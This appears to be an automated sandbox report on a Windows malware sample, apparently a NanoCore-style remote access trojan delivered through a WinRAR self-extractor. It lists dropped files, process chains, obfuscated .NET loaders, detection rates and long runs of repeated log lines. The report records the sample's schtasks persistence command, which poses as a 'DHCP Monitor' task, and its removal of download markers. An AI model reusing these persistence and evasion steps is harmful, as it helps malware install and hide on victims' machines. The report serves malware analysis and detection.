Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4936:120:WilError_01
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\{8080abe9-dca0-4fda-b289-40c56bb7d446}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2864:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1440:120:WilError_01

Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif

File created: C:\Users\user\temp\lqjmggks.ico

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Roaming\22032878\Update.vbs'

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Command line argument: sfxname	0_2_0136CBB8
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Command line argument: sfxstime	0_2_0136CBB8
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Command line argument: STARTDLG	0_2_0136CBB8

Source: zunUbtZ2Y3.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: zunUbtZ2Y3.exe	Virustotal: Detection: 42%
Source: zunUbtZ2Y3.exe	ReversingLabs: Detection: 54%

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe

File read: C:\Users\user\Desktop\zunUbtZ2Y3.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\zunUbtZ2Y3.exe 'C:\Users\user\Desktop\zunUbtZ2Y3.exe'
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Process created: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif 'C:\Users\user\AppData\Roaming\22032878\nfiuc.pif' xaso.fhr
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Process created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe C:\Users\user\AppData\Local\Temp\RegSvcs.exe
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmp3E2B.tmp'
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor Task' /xml 'C:\Users\user\AppData\Local\Temp\tmp4272.tmp'
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe C:\Users\user\AppData\Local\Temp\RegSvcs.exe 0
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe 'C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe' 0
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif 'C:\Users\user\AppData\Roaming\22032878\nfiuc.pif' C:\Users\user\AppData\Roaming\22032878\xaso.fhr
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Process created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe C:\Users\user\AppData\Local\Temp\RegSvcs.exe
Source: unknown	Process created: C:\Windows\System32\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Roaming\22032878\Update.vbs'
Source: unknown	Process created: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe 'C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe'
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Process created: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif 'C:\Users\user\AppData\Roaming\22032878\nfiuc.pif' xaso.fhr	Jump to behavior
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Process created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmp3E2B.tmp'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor Task' /xml 'C:\Users\user\AppData\Local\Temp\tmp4272.tmp'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Process created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Jump to behavior

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: zunUbtZ2Y3.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: zunUbtZ2Y3.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: zunUbtZ2Y3.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: zunUbtZ2Y3.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: zunUbtZ2Y3.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: zunUbtZ2Y3.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: zunUbtZ2Y3.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: zunUbtZ2Y3.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: zunUbtZ2Y3.exe
Source:	Binary string: RegSvcs.pdb, source: RegSvcs.exe, 00000002.00000000.677858519.0000000000072000.00000002.00020000.sdmp, RegSvcs.exe, 00000007.00000002.694635548.0000000000FF2000.00000002.00020000.sdmp, dhcpmon.exe, 00000009.00000002.697960296.0000000000062000.00000002.00020000.sdmp, RegSvcs.exe, 0000000C.00000000.708928174.00000000008E2000.00000002.00020000.sdmp, dhcpmon.exe, 0000000E.00000002.733978746.0000000000942000.00000002.00020000.sdmp, dhcpmon.exe.2.dr
Source:	Binary string: C:\Users\Cole\Documents\Visual Studio 2013\Projects\NanoProtectPlugin\NanoProtectClient\obj\Debug\NanoProtectClient.pdb source: RegSvcs.exe, 00000002.00000002.923227276.00000000028C1000.00000004.00000001.sdmp, RegSvcs.exe, 0000000C.00000002.732406620.0000000004439000.00000004.00000001.sdmp
Source:	Binary string: System.EnterpriseServices.Wrapper.pdb source: RegSvcs.exe, 00000007.00000002.695470154.0000000005920000.00000002.00000001.sdmp, dhcpmon.exe, 00000009.00000002.699203084.00000000022D0000.00000002.00000001.sdmp
Source:	Binary string: RegSvcs.pdb source: RegSvcs.exe, dhcpmon.exe, RegSvcs.exe, 0000000C.00000000.708928174.00000000008E2000.00000002.00020000.sdmp, dhcpmon.exe, 0000000E.00000002.733978746.0000000000942000.00000002.00020000.sdmp, dhcpmon.exe.2.dr

Source: zunUbtZ2Y3.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: zunUbtZ2Y3.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: zunUbtZ2Y3.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: zunUbtZ2Y3.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: zunUbtZ2Y3.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation:

.NET source code contains potential unpacker

Show sources

Source: 2.2.RegSvcs.exe.500000.1.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	.Net Code: #=q_FL69pQf17BUSAFbWYu1SStMAbdu$R1GJ8VY8UL5_EA= System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 2.2.RegSvcs.exe.500000.1.unpack, u0023u003dqxoz66kOqvxr21iYXZYXWiumy9eZGwFWaiX4C5X8aecUu003d.cs	.Net Code: #=qKU0J1fiP8KA33eFK1owekQ== System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 12.2.RegSvcs.exe.d00000.1.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	.Net Code: #=q_FL69pQf17BUSAFbWYu1SStMAbdu$R1GJ8VY8UL5_EA= System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 12.2.RegSvcs.exe.d00000.1.unpack, u0023u003dqxoz66kOqvxr21iYXZYXWiumy9eZGwFWaiX4C5X8aecUu003d.cs	.Net Code: #=qKU0J1fiP8KA33eFK1owekQ== System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])

Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif

Code function: 1_2_00EEEE30 LoadLibraryA,GetProcAddress,

1_2_00EEEE30

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe

File created: C:\Users\user\AppData\Roaming\22032878\__tmp_rar_sfx_access_check_5048640

Jump to behavior

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_0136E336 push ecx; ret	0_2_0136E349
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_0136D870 push eax; ret	0_2_0136D88E
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 1_2_00EF6BD5 push ecx; ret	1_2_00EF6BE8
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 11_2_00EF6BD5 push ecx; ret	11_2_00EF6BE8

Source: 2.2.RegSvcs.exe.500000.1.unpack, u0023u003dqJT4I5hOweIku0024xYFEeDszbikglXCuquUdu0024v9AXtyq2nsu003d.cs	High entropy of concatenated method names: '#=qBeOBlH6CwHFnQdZWWBgZ_pemudZ6CfCVcfOQtgpeG$Y=', '#=q5v5cLSMFBaxiTtOEjscx86gN2ozXlfytiL6UmXnyWtg=', '#=q_XA5h2lVGHLcY9dK754wKGrOjAm6aBbwPxcUJXgJThJUz83kMbCL53G5uuOLP6Rq', '#=qIFfr$DrKqIieRc688$vylAlBsEnx9Z3$TxvrDsPURfM=', '#=qejgvNXJQvgM2GomZsygLjreyguSPQ29pQHqjR_a0dWk=', '#=qCGokdf0OOxeMJLDkXSfc3NPmwygIQ29RjKQWj$wbNGB9C1pPgma_891QiNyTRXcA', '#=qDqyUVyJLXCtYqhZ0$opqkomqhUBn2WCeEEvGAXlNQ$I=', '#=qdImPAY1o3YhbLtukwCQ91cISaeIEWRKSYrGZ3dTVnkY=', '#=qza7O1AHrroJC7yRIJz4wINR_Sgo4hDpQrj_OYfIrlJE=', '#=q6Ct3QmvVLFC7my$dL1uEiHGmXJ5qCuK4WIhDwfhPTFs='
Source: 2.2.RegSvcs.exe.500000.1.unpack, u0023u003dqWrm21vQ8CBMZP_RBTwpusAu003du003d.cs	High entropy of concatenated method names: '#=qCgU$tDqtOAyz2b$RwfSF7UzBcCAr0rFJWxm16x7Lre0=', '#=qeD3MBfedCIuKIQf9V1u2N3YS4VXE_FOHqw_XAjWtZK8=', '#=q$mvEHEBkZud$AdHPWqsMQnw5Xm5sD4vBSSmqrKuXGOk=', '#=qZaN94n8dM6tBEf$qCdY2kbTZb5BOW8Z134$2tNv7EJs=', '#=qtlZnL8mho$rv1eTFz0Mw9UYFC_yCabEZ0xtVePn6wR5aSHE7ti3UfKg2l7D0_xk8', '#=qVS$QmQjvFfsXSqQAKGSl6HGbkse2SG0XCab4upVjtRJkvhTEk$oIS2I9Zja7id1Q', '#=qxJg7RxTW1v5mnt12xXeJiYJv_bcctbtL2BCD5MjDi45Hlz6t8vwDNTv1Rv7tgIct', '#=qp$ZVC1r9spi890l$D7IwEd3faoKeWHvv42mVq8wIIWM=', '#=qCoWHlVuoVRMkOzC7RZubJCslkxaEWn9yZiIydECf69$ktj0IPD5wAwC2H5Cc8C$L', '#=qqs1moO$mYaS72OXOWe0Z6GycslEb6e9Ipoy7ppW0O5abIp05ajv8doqdJZHlN3cK'
Source: 12.2.RegSvcs.exe.d00000.1.unpack, u0023u003dqJT4I5hOweIku0024xYFEeDszbikglXCuquUdu0024v9AXtyq2nsu003d.cs	High entropy of concatenated method names: '#=qBeOBlH6CwHFnQdZWWBgZ_pemudZ6CfCVcfOQtgpeG$Y=', '#=q5v5cLSMFBaxiTtOEjscx86gN2ozXlfytiL6UmXnyWtg=', '#=q_XA5h2lVGHLcY9dK754wKGrOjAm6aBbwPxcUJXgJThJUz83kMbCL53G5uuOLP6Rq', '#=qIFfr$DrKqIieRc688$vylAlBsEnx9Z3$TxvrDsPURfM=', '#=qejgvNXJQvgM2GomZsygLjreyguSPQ29pQHqjR_a0dWk=', '#=qCGokdf0OOxeMJLDkXSfc3NPmwygIQ29RjKQWj$wbNGB9C1pPgma_891QiNyTRXcA', '#=qDqyUVyJLXCtYqhZ0$opqkomqhUBn2WCeEEvGAXlNQ$I=', '#=qdImPAY1o3YhbLtukwCQ91cISaeIEWRKSYrGZ3dTVnkY=', '#=qza7O1AHrroJC7yRIJz4wINR_Sgo4hDpQrj_OYfIrlJE=', '#=q6Ct3QmvVLFC7my$dL1uEiHGmXJ5qCuK4WIhDwfhPTFs='
Source: 12.2.RegSvcs.exe.d00000.1.unpack, u0023u003dqWrm21vQ8CBMZP_RBTwpusAu003du003d.cs	High entropy of concatenated method names: '#=qCgU$tDqtOAyz2b$RwfSF7UzBcCAr0rFJWxm16x7Lre0=', '#=qeD3MBfedCIuKIQf9V1u2N3YS4VXE_FOHqw_XAjWtZK8=', '#=q$mvEHEBkZud$AdHPWqsMQnw5Xm5sD4vBSSmqrKuXGOk=', '#=qZaN94n8dM6tBEf$qCdY2kbTZb5BOW8Z134$2tNv7EJs=', '#=qtlZnL8mho$rv1eTFz0Mw9UYFC_yCabEZ0xtVePn6wR5aSHE7ti3UfKg2l7D0_xk8', '#=qVS$QmQjvFfsXSqQAKGSl6HGbkse2SG0XCab4upVjtRJkvhTEk$oIS2I9Zja7id1Q', '#=qxJg7RxTW1v5mnt12xXeJiYJv_bcctbtL2BCD5MjDi45Hlz6t8vwDNTv1Rv7tgIct', '#=qp$ZVC1r9spi890l$D7IwEd3faoKeWHvv42mVq8wIIWM=', '#=qCoWHlVuoVRMkOzC7RZubJCslkxaEWn9yZiIydECf69$ktj0IPD5wAwC2H5Cc8C$L', '#=qqs1moO$mYaS72OXOWe0Z6GycslEb6e9Ipoy7ppW0O5abIp05ajv8doqdJZHlN3cK'

Persistence and Installation Behavior:

Drops PE files with a suspicious file extension

Show sources

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe

File created: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif

Jump to dropped file

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	File created: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	File created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	File created: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Jump to dropped file

Boot Survival:

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe

Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmp3E2B.tmp'

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe

File opened: C:\Users\user\AppData\Local\Temp\RegSvcs.exe:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
